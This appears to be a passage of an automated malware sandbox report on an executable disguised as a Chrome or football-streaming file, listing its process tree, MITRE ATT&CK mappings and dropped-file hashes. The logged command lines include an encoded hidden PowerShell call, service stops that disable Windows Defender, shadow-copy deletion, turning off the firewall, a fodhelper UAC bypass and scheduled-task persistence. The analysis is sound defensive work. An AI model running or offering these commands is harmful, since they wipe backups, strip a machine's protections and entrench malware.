xoilacbongda-wc2026a.tv_chrome.exe 169 PID 2404 wrote to memory of 2076 2404 xoilacbongda-wc2026a.tv_chrome.exe 170 PID 2404 wrote to memory of 5340 2404 xoilacbongda-wc2026a.tv_chrome.exe 171 PID 2404 wrote to memory of 2220 2404 xoilacbongda-wc2026a.tv_chrome.exe 172 PID 2404 wrote to memory of 2008 2404 xoilacbongda-wc2026a.tv_chrome.exe 173 PID 2404 wrote to memory of 1108 2404 xoilacbongda-wc2026a.tv_chrome.exe 174 PID 3188 wrote to memory of 5876 3188 chrome.exe 181 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\xoilacbongda-wc2026a.tv_chrome.exe"C:\Users\Admin\AppData\Local\Temp\xoilacbongda-wc2026a.tv_chrome.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2404 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://xoilacbongda-wc2026a.tv2⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3188 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x138,0x13c,0x140,0x114,0x144,0x7ffd72fac728,0x7ffd72fac734,0x7ffd72fac7403⤵PID:2508
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1476,i,5250739626844061771,680093644912807856,524288 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=2056 /prefetch:113⤵
- System Time Discovery
PID:2328
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1616,i,10282112116182357125,12723297728538747259,262144 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=1912 /prefetch:23⤵PID:3928
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2320,i,8791007580898774727,12710236716637808809,524288 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=2464 /prefetch:133⤵PID:5932
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3112,i,12499278954351630172,10768428893939874707,2097152 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=3140 /prefetch:13⤵PID:4568
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3120,i,2634011033514416388,18223183065443778396,2097152 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=3236 /prefetch:13⤵PID:472
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4652,i,17388009409148610992,14476086327326139650,524288 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=4664 /prefetch:143⤵PID:260
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4820,i,8163442901126277845,6428209529615697624,2097152 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=4832 /prefetch:13⤵PID:3904
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3460,i,18242909664297026455,8975058405222860266,524288 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=3444 /prefetch:143⤵PID:5804
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=3452,i,13781298016166396870,8682492031568193782,2097152 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=5640 /prefetch:13⤵PID:3376
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5592,i,6527207125008078217,6829729945882107165,2097152 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=5620 /prefetch:13⤵PID:6140
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5804,i,15743993028968655365,10050948918407456034,2097152 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=5592 /prefetch:13⤵PID:5876
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5904,i,9979182766540626810,18289165746026627736,524288 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=5892 /prefetch:143⤵PID:5608
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5808,i,17349095598768011841,8223204768508621010,2097152 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=5636 /prefetch:13⤵PID:3536
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5908,i,11374092398676709770,7182282844954472796,2097152 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=5744 /prefetch:13⤵PID:2980
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5816,i,12291406254144319656,12801820204388665734,2097152 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=6100 /prefetch:13⤵PID:4572
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5588,i,1160395364817191781,2071224825368440313,2097152 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=5512 /prefetch:13⤵PID:2968
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6108,i,14419886839624889768,15413199484005589045,2097152 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=4676 /prefetch:13⤵PID:256
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3464,i,16676543242587069459,15971035356922676671,524288 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=5664 /prefetch:143⤵PID:3468
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5664,i,7803853075726790381,7212392083400640094,524288 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=5496 /prefetch:143⤵PID:3032
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5736,i,9305397998803143494,445783266055672638,2097152 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:13⤵PID:388
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5588,i,17946128265033482393,14430847459699589992,2097152 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=4656 /prefetch:93⤵PID:2400
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5028,i,4563488287654002675,1365239714726523567,524288 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=4736 /prefetch:143⤵PID:296
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5516,i,2369370678151149001,14745430864461708611,524288 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=4788 /prefetch:143⤵PID:4512
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4804,i,14894309869635226728,206535811030520118,524288 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=5812 /prefetch:143⤵PID:624
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4832,i,1161958366905809363,15443851330521399834,262144 --field-trial-handle=1916,i,14870232509003751044,609103043023787000,262144 --variations-seed-version --mojo-platform-channel-handle=4940 /prefetch:103⤵PID:6256
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3108
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:1108
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:3376
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:3396
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:1468
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:1084
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:4544
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:2976
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:3300
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3436 -
C:\Users\Admin\AppData\Local\Temp\xoilacbongda-wc2026a.tv_chrome.exe"C:\Users\Admin\AppData\Local\Temp\xoilacbongda-wc2026a.tv_chrome.exe"3⤵PID:5584
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2708
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:2568
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:3812
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2936
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:3012
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacbongda-wc2026a.tv_chrome.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:476
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacbongda-wc2026a.tv_chrome.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5724
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:4436 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:480
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1776
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3684 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:5156
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3364 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
PID:332
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1356 -
C:\Windows\system32\whoami.exewhoami3⤵PID:6048
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1536 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:3112 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:1388
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4412 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:5944
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4560 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:3236
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacbongda-wc2026a.tv_chrome.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3080
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:6084
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:320
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:3824
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2076
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵PID:5340
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:1440
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2220
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:2008
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:1108
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:2076
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4844
-
C:\Users\Admin\AppData\Local\Temp\xoilacbongda-wc2026a.tv_chrome.exeC:\Users\Admin\AppData\Local\Temp\xoilacbongda-wc2026a.tv_chrome.exe1⤵PID:1816
-
C:\Users\Admin\AppData\Local\Temp\xoilacbongda-wc2026a.tv_chrome.exeC:\Users\Admin\AppData\Local\Temp\xoilacbongda-wc2026a.tv_chrome.exe1⤵PID:800
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:708
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
- Modifies data under HKEY_USERS
PID:5472
-
C:\Windows\system32\sihost.exesihost.exe1⤵
- Suspicious use of FindShellTrayWindow
PID:1716 -
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:5844
-
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4364
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3932
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
5Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260709_035702.jpg
- Size 173KB
- SHA256 209ca86e0695aab5fc7ecf6838a6a990df199f0d6aaf309876c9d3539c8022f4
- MD5 60491bd47612a37b34e495a15e26aa09
- SHA1 f0c32f4382489206f235bf1744e5ba64488cb85a
- SHA512 ebb4260bce8ffb484b84a3bcd19f584f6a178f62305858e7713f18a37bfc26824037e21c1ec5d1e71cc5663ad34005a6222e05b9be35fd97b5e8aa00a8f95c33
- SSDEEP 3072:1hcax7E3WH9ehgLxDy3wGXB5nT0SLSex4UK7xsUYqpG:1eax43WH9ehgtDy3wGRRT0SLSO4ULUY3
- TLSH T19E04B447CC094A97A16C83F8BE131DAC3F496B0CE9957BFF10215ECA7E952634C4E46A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 68KB
- SHA256 a1b549c9f750ef0aecc74868f315636ee53e709f44801b3e43a0efacc75130ce
- MD5 9055d1816b7bd7396260c9457c3ac8b3
- SHA1 46810d240370205045a544b015c2fecae8b19048
- SHA512 ae67acdebd181049ee06a32f132dda75271e2251c616ca73972c1e3886266f2450662f95832c4ee3f573b41555d19d1b96aa398c3da84cf75ef15b43360e46cf
- SSDEEP 1536:wBUwx7mFIkh7f3EaSidKvAb+gSPuDfzuIeVEIETuPBJA8ezplLRSku1uJ6Vhv51j:wBUsKukKaSZoCluDbuInTuazplCIq51j
- TLSH T1DF633C368B23FDC4677F2D80E06039561C883F6797B52A6CFEC50DA618E6684DF2E458
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 67KB
- SHA256 c582b8b6abfd7de114ab109a8a381fa60791abbc139ea1baa2d365120e051d16
- MD5 e268bfa92a51a103f65637ce479366eb
- SHA1 ec2745866ef620765e0c9e0005eb618db0f219b0
- SHA512 e803b90daf82939e20145d99ef1ff230f21033ec5a55cf70c9ce67c913f390f05bf58ee0029d8ff00d10e1068c1868fc8e29917cedc0c9d1dc9e7747975fffc4
- SSDEEP 1536:QBUwx7mFIkh7f3EaSidKvAb+gSPuDfzuIeVEIETuPBJA8ezplLRSku1uJ6Vhv516:QBUsKukKaSZoCluDbuInTuazplCIq516
- TLSH T183633C368B23FDC4677F2D80E06039561C883F6B97B52A6CFEC50DA618E6584DF2E458
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
